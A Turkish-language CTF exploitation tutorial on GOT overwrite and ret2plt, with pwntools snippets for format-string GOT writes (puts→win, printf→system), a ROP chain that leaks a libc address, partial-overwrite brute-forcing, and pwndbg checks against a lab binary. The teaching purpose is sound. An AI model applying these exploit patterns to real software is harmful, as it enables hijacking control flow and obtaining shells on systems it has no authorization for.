Skip to content

GOT Overwrite & ret2plt

arbitrary write difficulty: orta

Dinamik bağlanan binary’lerde kütüphane fonksiyonları PLT (Procedure Linkage Table) üzerinden çağrılır ve gerçek adresleri çalışma anında GOT (Global Offset Table) içine yazılır. GOT yazılabilirse (Partial RELRO), bir keyfi yazma ilkelini GOT girdisini ezerek kontrol akışına çevirebilirsiniz.

call puts@plt
→ PLT stub: jmp [puts@got]
→ (ilk çağrı) resolver → puts@got = &puts_libc
→ (sonraki) doğrudan puts_libc
puts@GOT → gerçek puts adresi
Bunu system ile ez → sonraki puts("...") ≈ system("...")
Terminal window
readelf -r ./chall | grep puts
Terminal window
objdump -d -j .plt ./chall | head
Terminal window
pwndbg> got
Terminal window
pwndbg> x/gx &puts@got
1) Arbitrary write primitive (format %n, heap, overflow)
2) puts@got = win veya printf@got = system
3) Program puts/printf çağırır → win/system

Argüman kontrolü kritik: puts(buf) varsa ve buf=/bin/sh yapabiliyorsan puts@got → system ile shell doğar.

  1. RELRO kontrol — checksec : Full RELRO ise GOT yazılamaz; Partial ise devam.

  2. Keyfi yazma ilkeli bul — format string ( %n ), heap/OOB yazma ya da uygun bir ROP mov [reg], reg gadget’ı.

  3. Hedef GOT girdisini seç — sık çağrılan ve argümanı kontrol ettiğin bir fonksiyon ( printf , puts , free , exit , __stack_chk_fail bazen).

  4. Yaz ve tetikle —

    from pwn import *
    elf = context.binary = ELF('./chall')
    # format string:
    payload = fmtstr_payload(offset, { elf.got['puts']: elf.sym['win'] })
    # veya libc:
    # payload = fmtstr_payload(offset, { elf.got['printf']: libc.sym.system })
    io.sendline(payload)
  5. GDB doğrula — yazmadan önce/sonra x/gx puts@got ; tetik çağrısında $rip hedefte mi.

ASLR altında libc adresini sızdırmak için PLT kullanılır:

rop = ROP(elf)
rop.call('puts', [elf.got['puts']]) # puts@plt(puts@got)
rop.call('main') # ikinci tur
payload = flat({ offset: rop.chain() })
# recv → u64 → libc.address = leak - libc.sym.puts

Bu, ret2libc stage-1’inin standart kalıbıdır.

- Stack'te saved RIP / ROP (overflow veya format ile)
- .fini_array / exit handlers (yazılabilirse)
- __malloc_hook / __free_hook (eski glibc; modernde kaldırıldı/sertleşti)
- _IO_FILE / FSOP vtable hijack (gelişmiş)
- setcontext / pivot

PIE/ASLR’da bazen yalnızca düşük 2 bayt ezilir (sayfa içi offset sabit kalabilir):

# Örnek fikir: puts → system aynı libc sayfasındaysa
io.send(p16(system & 0xffff)) # yazma primitive'ine göre

Entropy düşer; brute-force ile birleştirilebilir (fork sunucu).

checksec RELRO?
├─ Full → GOT yok; ROP / stack / hook / FSOP
└─ Partial → arbitrary write var mı?
├─ evet → GOT → win/system; argüman kontrol et
└─ hayır → önce ret2plt leak, sonra ret2libc/ROP
Terminal window
pwndbg> got
Terminal window
pwndbg> x/gx (long)puts@got
Terminal window
pwndbg> break *win
Terminal window
pwndbg> c